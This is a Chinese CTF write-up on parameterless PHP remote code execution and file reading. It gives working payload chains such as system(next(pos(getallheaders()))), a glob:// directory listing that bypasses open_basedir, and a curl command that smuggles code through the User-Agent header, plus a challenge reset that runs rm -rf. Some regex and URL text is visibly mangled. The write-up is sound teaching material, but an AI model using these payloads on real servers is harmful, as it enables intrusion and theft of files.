无参数读文件和RCE的利用

渗透技巧 2年前 (2022) admin
981 0 0

点击上方蓝字关注我们

无参数读文件和RCE的利用


最近研究了一个以前的题目,涉及到无参数RCE
所以写了一篇文章来记录
首先来看原理
preg_replace('/[^W]+((?R)?)/', '', $_GET['code'])
根据代码,可以发现,这里例如a(b(c()));可以使用,但是a('b')含有参数不能使用
正常情况下,print_r(scandir('.'));可以用来查看当前目录所有文件名
但是要怎么构造参数里这个点呢
这里就需要使用到localeconv()函数
localeconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是”.”
无参数读文件和RCE的利用
这里还有一个知识点,就是从数组中取得数据,可以用到如下函数
无参数读文件和RCE的利用
这样我们就可以获取数组的第一项
print_r(scandir(current(localeconv())));
无参数读文件和RCE的利用
这样就成功打印了当前目录
那么我们可以利用getallheaders()来达成RCE,但是该函数只能在Apache环境下使用
system(next(pos(getallheaders())));
这样我们在headers中输入命令内容,使用getallheaders来获取就达成了简单的RCE
利用的方法还有很多。。。。
为了更好的理解,我们来看一个以前的赛题
题目代码如下
$token = sha1($_SERVER['REMOTE_ADDR']);
$file = '../sandbox/'.$token.'/';
is_dir($file) ?: mkdir($file);
is_file($file.'index.php') ?: file_put_contents($file.'index.php', str_replace('#SHA1#', $token, file_get_contents('./template')));
switch($_GET['action'] ?: ''){
  case 'go':
      header('Location: http://'.$token.'.sandbox.r-cursive.ml:1337/');
      break;
  case 'reset':
      system('rm -rf '.$file);
      break;
  default:
      show_source(__FILE__);
访问?action=go
<?php
sha1($_SERVER['REMOTE_ADDR']) === 'xxx' ?: die();
';' === preg_replace('/[^W_]+((?R)?)/', NULL, $_GET['cmd']) ? eval($_GET['cmd']) : show_source(__FILE__);
通过获取headers的方式,可以设置ua来传入字符串,成功执行命令。
disable_classes:GlobIterator,DirectoryIterator,FilesystemIterator,RecursiveDirectoryIteratordisable_functionssystem,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,putenv,apache_setenv,mb_send_mail,assert,dl,set_time_limit,ignore_user_abort,symlink,link
由于disable_classes和disable_functions的设置,导致后面open_baseidr完全没办法绕过,但我们可以用glob协议读取目录
if ($dh = opendir('glob:///*/*/*/*')) {while (($file = readdir($dh)) !== false) {echo $file.' ';}closedir($dh);}
这里涉及到一个知识点,对于不同的请求来说,open_basedir都是不同的,那么服务端就需要获取请求的地址,然后做解析,这部分的配置一般是由apache来做的,但如果请求的host中不包含这个sha1的字符串,那么就可以让后端无法获取到这个字符串,就会将open_basedir设置为/var/www/sandbox,就可以读取这个目录下的文件了。
curl "http://xxx/47933bf3ea6c89fb70bb9c63930val(next(getallheaders()));" -H "User-Agent: show_source('../init.php');" -H "Host: .sandbox.r-cursive.ml"


ini_set("open_basedir", $_SERVER['DOCUMENT_ROOT']."/:/tmp/");

原文始发于微信公众号(山石网科安全技术研究院):无参数读文件和RCE的利用

版权声明:admin 发表于 2022年3月17日 上午10:55。
转载请注明:无参数读文件和RCE的利用 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...